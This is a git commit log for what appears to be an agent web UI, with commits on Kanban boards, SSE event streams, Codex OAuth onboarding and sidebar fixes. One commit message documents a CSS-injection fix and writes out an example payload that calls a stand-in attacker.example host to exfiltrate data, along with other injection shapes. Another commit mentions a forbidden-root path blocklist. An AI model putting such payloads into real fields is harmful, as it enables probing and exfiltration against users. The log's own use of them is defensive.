Commit Graph

578 Commits

Author SHA1 Message Date
Nathan Esquenazi e2748fe961 Apply Opus pre-release SHOULD-FIX (absorbed in stage-299)
Per Opus advisor on stage-299:

1. Bounded WIKI_PATH walk + forbidden-root guard (api/routes.py)
   - _LLM_WIKI_MAX_FILES = 10000 caps rglob iteration (prevents hangs on
     symlink loops or pathologically-large trees)
   - _LLM_WIKI_FORBIDDEN_ROOTS blocklist refuses '/' '/etc' '/usr' '/var'
     '/opt' '/sys' '/proc' even if WIKI_PATH is misconfigured to point
     at them
   - Self-DoS prevention: /api/wiki/status fires on every Insights tab
     open via Promise.all, and unbounded rglob would block the endpoint

2. URL-scheme guard for docs_url interpolation (static/panels.js)
   - rawDocsUrl is regex-validated against /^https?:\/\//i before being
     interpolated into the <a href=> attribute
   - esc() HTML-escapes but doesn't validate URL scheme; docs_url is
     server-controlled today but the contributor scaffolded it for
     potential config-driven use, so future-proof against javascript:
     scheme XSS

6 regression tests in tests/test_stage299_opus_fixes.py pin both fixes.
2026-05-05 02:15:25 +00:00
Nathan Esquenazi 4e9ec6f191 fix(sidebar): scroll jumps back to 0 on small lists (≤80 sessions) — #1669 follow-up
PR #1669 added DOM virtualization to renderSessionListFromCache() with two issues
for lists below the virtualization threshold (≤80 rows):

1. The unconditional scroll listener triggered renderSessionListFromCache() on
   every rAF, rebuilding the entire list DOM on every scroll event.
2. After each rebuild, scrollTop was only restored when virtualWindow.virtualized
   was true (i.e. total > 80). For lists ≤ 80 rows, scrollTop dropped to 0 on
   every scroll event, producing a 'scroll keeps jumping back' feel.

Fix:
- Always restore scrollTop after re-render when listScrollTopBeforeRender > 0
  (regardless of virtualized flag).
- Short-circuit _scheduleSessionVirtualizedRender when total <=
  SESSION_VIRTUAL_THRESHOLD_ROWS (saves wasteful rebuild on small lists).

Live verified on a 56-session sidebar: scrollTop holds across animation frames.
3 regression tests pin the fix shape.
2026-05-05 02:02:54 +00:00
test 136d858963 Stage 299: PR #1587 — Filter low-value CLI agent sessions by @franksong2702 2026-05-05 01:54:08 +00:00
test df8ee6a8ad Stage 299: PR #1662 — feat(logs): add Logs tab MVP by @Michaelyklam 2026-05-05 01:53:56 +00:00
Frank Song d76ef2a2b6 Cover CLI compression lineage filtering 2026-05-05 01:52:42 +00:00
Frank Song 8981d33543 Fix CLI session CI compatibility 2026-05-05 01:52:42 +00:00
Frank Song 79d0762d8c Filter low-value CLI agent sessions 2026-05-05 01:52:42 +00:00
Michael Lam af1c628292 feat: add logs tab MVP 2026-05-05 01:51:05 +00:00
Michael Lam 2684d6fa98 feat: add LLM Wiki status panel 2026-05-05 01:48:32 +00:00
test 3699e83c43 Stage 298: PR #1677 — feat: link official Hermes dashboard by @Michaelyklam 2026-05-05 01:29:49 +00:00
Michael Lam b0953b6a7f feat: link official Hermes dashboard 2026-05-05 01:23:55 +00:00
Michael Lam e0e991126f feat: add searchable MCP tool inventory 2026-05-05 01:20:32 +00:00
test 2ec18b728a Stage 298: PR #1670 — feat: add MCP server visibility panel by @Michaelyklam 2026-05-05 01:18:35 +00:00
test 8c93b995ef Stage 298: PR #1678 — Add Claude Code session imports by @Michaelyklam 2026-05-05 01:18:35 +00:00
test def1507828 Stage 298: PR #1674 — feat(tasks): add scheduled job profile selector by @Michaelyklam 2026-05-05 01:18:35 +00:00
test dfb3798470 Stage 298: PR #1663 — feat: add plugins visibility panel by @Michaelyklam 2026-05-05 01:18:35 +00:00
Michael Lam 399326f923 feat: add MCP server visibility panel 2026-05-05 01:18:34 +00:00
Michael Lam e54a0470f0 Add Claude Code session imports 2026-05-05 01:18:34 +00:00
Michael Lam 3f3092a84e feat: add scheduled job profile selector 2026-05-05 01:18:34 +00:00
Michael Lam 60ed948f42 feat: add plugins visibility panel 2026-05-05 01:18:33 +00:00
test 890f53465c Stage 298: PR #1668 — feat(insights): add daily token trends and model usage costs by @Michaelyklam 2026-05-05 01:12:26 +00:00
test cc36dac64b Stage 298: PR #1667 — feat: add WebUI status command card by @Michaelyklam 2026-05-05 01:12:26 +00:00
test d3bc1c368f Stage 298: PR #1666 — Window long-session message rendering by @Michaelyklam 2026-05-05 01:12:26 +00:00
test d2231df9a4 Stage 298: PR #1669 — feat: virtualize session sidebar list by @Michaelyklam 2026-05-05 01:12:26 +00:00
test f9a2902208 Stage 298: PR #1665 — Add Windows WSL WebUI autostart helpers by @Michaelyklam 2026-05-05 01:12:26 +00:00
Michael Lam 66755b7fb1 feat: add insights token trends 2026-05-05 01:12:08 +00:00
Michael Lam 71d0e91c6f feat: virtualize session sidebar list 2026-05-05 01:12:08 +00:00
Michael Lam 46bdb3c1af feat: add ctl daemon lifecycle script 2026-05-05 01:12:08 +00:00
Michael Lam d12b028c81 feat: add WebUI status command card 2026-05-05 01:12:07 +00:00
Michael Lam b2f35a41e1 fix: window long session message rendering 2026-05-05 01:12:07 +00:00
Michael Lam 7bf33431e4 docs: add WSL WebUI autostart helpers 2026-05-05 01:12:07 +00:00
Nathan Esquenazi 698384ecbc fix(kanban): apply Opus advisor SHOULD-FIX (PATCH/DELETE routing + SSE id:)
Two SHOULD-FIX items from the Opus advisor pass on PR #1675:

1. **PATCH/DELETE handler routing asymmetry**. The /boards/<slug> path
   match was running AFTER ?board= resolution, so a stray ?board=ghost
   on a 'PATCH /api/kanban/boards/experiments?board=ghost' would 404 on
   the missing 'ghost' board instead of editing 'experiments'. POST
   already routed /boards first; PATCH/DELETE now mirror that structure.
   The ?board= query is still resolved for the task-scoped routes that
   actually need it.

2. **SSE event frames now emit 'id: <event_id>' lines**. EventSource
   stores Last-Event-ID and sends it on auto-reconnect; without an 'id:'
   field on each frame the browser couldn't resume cleanly across
   connection drops, forcing the server to re-stream up to
   _KANBAN_SSE_BATCH_LIMIT=200 events the client already had. The
   handler now (a) emits 'id: <cursor>' on every events frame, and
   (b) reads Last-Event-ID from the request headers as a fallback when
   ?since= is absent.

+4 regression tests:
- test_handle_kanban_patch_routes_boards_slug_before_board_query_param
- test_handle_kanban_delete_routes_boards_slug_before_board_query_param
- test_sse_emits_id_lines_so_browser_can_resume_via_last_event_id
- test_sse_honours_last_event_id_header_when_since_absent

Total kanban tests: 67 -> 68 (CSS-injection fix in 60874db) -> 72 (this).

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:32:43 +00:00
Nathan Esquenazi 60874dbf7a fix(kanban): block CSS injection via board.color into switcher style
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:

    const colorStyle = b.color ? `color:${esc(b.color)}` : '';
    return `<button ...><span ... style="${colorStyle}">...`;

`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:

    "color": "red;background:url('http://attacker.example/exfil')"

…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:

    INPUT:   "red;background:url('http://attacker.example/exfil')"
    OUTPUT:  <span ... style="color:red;background:url(&#39;http://attacker.example/exfil&#39;)">

The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).

Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.

Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
  rejection here would diverge from the cross-tool contract for inputs
  that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
  values written by other surfaces (CLI, gateway) flow through the
  same bridge and now get safely degraded at render time.

Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').

Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
  which drives the helper through Node and asserts both renderer-level
  invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-04 17:28:32 -07:00
Nathan Esquenazi 397d851bdb feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).

== Multi-board ==

Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:

  GET    /api/kanban/boards
  POST   /api/kanban/boards
  PATCH  /api/kanban/boards/<slug>
  DELETE /api/kanban/boards/<slug>
  POST   /api/kanban/boards/<slug>/switch

All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.

The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.

Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.

Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.

== SSE event stream ==

GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.

The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.

Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.

== Bugs fixed during build ==

(1) read_only=True legacy lie. _board_payload, _events_payload,
    _task_log_payload, and the no-change short-circuit all hardcoded
    read_only=True from the read-only-bridge era of #1645. Bridge has
    been writable since #1649 — flag now matches reality.

(2) Modal + dropdown menu transparent backgrounds. The PR stack used
    var(--panel) which is undefined in the WebUI design system (uses
    --surface, --bg, gradient panels). Replaced with the same gradient
    + accent border pattern used by the .app-dialog overlay.

(3) Archive race. kb.connect(board=<slug>) auto-materialises the
    directory + sqlite on first call, so any in-flight SSE poll on a
    board mid-archive would silently un-archive it by re-creating the
    directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
    the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
    checks kb.board_exists() before connect(), returning empty results
    when the board is gone.

(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
    secondary buttons in the modal. Save now uses the .primary class
    with accent-tinted gold styling.

(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
    covering the switcher button (smaller padding/font), name truncation
    (max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
    padding, and inline-row stacking.

== Tests ==

+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.

Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63

Full repo test suite: 4351 passed, 0 regressions.

== Live verification ==

End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
  directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
Nathan Esquenazi 7e48a2fd85 fix(kanban): polish + ImportError fallback
Four follow-up issues found in the combined-stack live verification:

(1) handle_kanban_get had no exception handler; ImportError (webui-only deploy
    without hermes_cli), ValueError, LookupError, RuntimeError would bubble
    as 500. Wrapped in same exception cascade as POST/PATCH/DELETE.

(2) ImportError on any verb now returns 503 "kanban unavailable: <reason>"
    instead of 500. Frontend's existing try/catch surfaces a clean toast.

(3) The 'Read-only view' banner (legacy of read-only PR #1645) was always
    visible regardless of actual board state. Default-hidden in HTML;
    loadKanban() toggles based on _kanbanBoard.read_only.

(4) .btn / .btn.secondary class names were referenced in 4 places (Bulk
    action / Nudge dispatcher / New task / Back to board) but no matching
    CSS shipped — buttons rendered as browser-default beveled controls
    that clashed with the dark theme. Added scoped CSS rules under the
    kanban-* parent containers.

+4 behavioral + static UI tests covering the contracts.

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-04 23:32:05 +00:00
Hermes Agent a39ec45b9f fix(kanban): protect dispatcher contract — reject raw status='running' PATCH
The PATCH /api/kanban/tasks/:id endpoint allowed any status-to-any-status
transition for the non-claim/complete/block/archive set via raw
`UPDATE tasks SET status = ?`. This let UI users (or any client) flip a
task to 'running' without going through kb.claim_task(), bypassing
claim_lock + claim_expires + started_at + worker_pid. The dispatcher
treats such a phantom-claimed task as orphaned and may reclaim, hide, or
double-dispatch it.

Match the agent dashboard plugin's contract
(plugins/kanban/dashboard/plugin_api.py update_task):

- status='running' via PATCH → ValueError (HTTP 400)
- status='ready' from currently-blocked → kb.unblock_task() (fires
  'unblocked' event)
- status='ready' from anything else, plus status in {'todo', 'triage'}
  → new _set_status_direct() helper that nulls claim fields when leaving
  'running', closes any active run with outcome='reclaimed', and
  appends a 'status' event row to task_events
- status='done', 'blocked', 'archived' → unchanged (already structured)

Frontend changes:
- Drop 'running' from the .kanban-status-actions button row in the task
  detail pane (clicking it would always 400 anyway).
- allowKanbanDrop() refuses the 'running' column as a drop target with
  dropEffect='none' so users see immediate visual feedback that the
  dispatcher/claim path owns running.

Tests added (3, all passing):
- test_patch_status_running_is_rejected_to_protect_dispatcher_contract
- test_patch_status_done_to_running_is_rejected
- test_patch_status_blocked_to_ready_routes_through_unblock_task

Existing 12 tests still pass.

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-04 23:06:42 +00:00
Manfred 711e33e7db feat: harden Kanban review feedback
- add canonical PATCH and DELETE routing for Kanban writes
- fix task detail log rendering and add close/back affordance
- improve timestamps, event summaries, stats HUD, and mobile layout
- cover route and detail behavior with targeted tests
2026-05-04 22:56:43 +00:00
Manfred d7671f8366 feat: polish Kanban UI parity 2026-05-04 22:56:43 +00:00
Manfred dc3418c209 feat: add Kanban dashboard parity core 2026-05-04 22:56:43 +00:00
Manfred 5093e01640 feat: add Kanban write semantics MVP 2026-05-04 22:56:43 +00:00
Manfred fafc2ab4f1 feat: expand Kanban task detail view 2026-05-04 22:56:43 +00:00
Manfred 88bf62b6e4 feat: add native read-only Kanban panel 2026-05-04 22:56:43 +00:00
Manfred eeb5dc545d feat: add read-only Kanban API bridge 2026-05-04 22:56:42 +00:00
test c3d6a2d6ee Stage 297: PR #1657 — Health diagnostics + persistent-host hardening (refs #1458) by @Michaelyklam 2026-05-04 22:40:53 +00:00
Michael Lam ca135c2015 fix: harden persistent WebUI health checks 2026-05-04 15:30:37 -07:00
Nathan Esquenazi b34ce63c97 fix(oauth): honor cancel during Codex device-token exchange (follow-up to #1652)
The Codex OAuth onboarding worker introduced in #1652 had a cancel-vs-worker
race: a `cancel_onboarding_oauth_flow` request that arrived while the worker
was mid-network-call (between the `live = dict(...)` snapshot and the next
status check) would be silently overridden:

  1. User clicks Cancel → server sets flow.status = "cancelled" and drops
     sensitive lifecycle fields under the lock.
  2. Worker is mid-`_poll_codex_authorization` / `_exchange_codex_authorization`
     using the local `live` snapshot it captured before the cancel.
  3. Worker calls `_persist_codex_credentials(...)` — auth.json gets written.
  4. Worker calls `_set_flow_status(flow_id, "success")` — overrides the
     cancelled status.

Net effect: the user's explicit cancel is ignored, credentials are persisted,
and the UI reports success. Reproduced with a behavioural harness that drove
a real worker thread against patched network helpers and confirmed:

  pre-fix : flow status `success`, auth.json written despite cancel
  post-fix: flow status `cancelled`, auth.json NOT written

The fix re-checks the flow status under `_OAUTH_FLOWS_LOCK` after the token
exchange completes and before persisting. If the status is no longer
`pending`, the worker exits without persisting credentials and without
overwriting the terminal status.

Regression test `test_cancel_during_token_exchange_does_not_persist_credentials`
drives the worker against threading.Event-gated network stubs to reproduce
the race deterministically and lock the new invariant.

Trace verified against fresh hermes-agent tarball — credential_pool entry
shape (`auth_type=oauth`, `source=manual:device_code`, `priority=0`, base_url)
remains compatible with `agent.credential_pool.load_pool("openai-codex")` and
the agent CLI's `_save_codex_tokens` legacy fallback path.

Tests:
- 10/10 in tests/test_issue1362_codex_oauth_onboarding.py
- Full suite: 4230 passed, 57 skipped, 3 xpassed, 0 failed in 33.82s

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-04 14:49:38 -07:00
test c07d821586 Stage 296: PR #1650 — Codex OAuth onboarding flow (refs #1362) by @Michaelyklam 2026-05-04 21:26:52 +00:00
test 34b060d993 Stage 296: PR #1648 — session save mode config (closes #1406) by @Michaelyklam 2026-05-04 21:26:52 +00:00
Michael Lam 89099928db fix: make TPS header display optional 2026-05-04 21:26:43 +00:00
Michael Lam 3ad8846a27 fix: show TPS in assistant message headers 2026-05-04 21:26:43 +00:00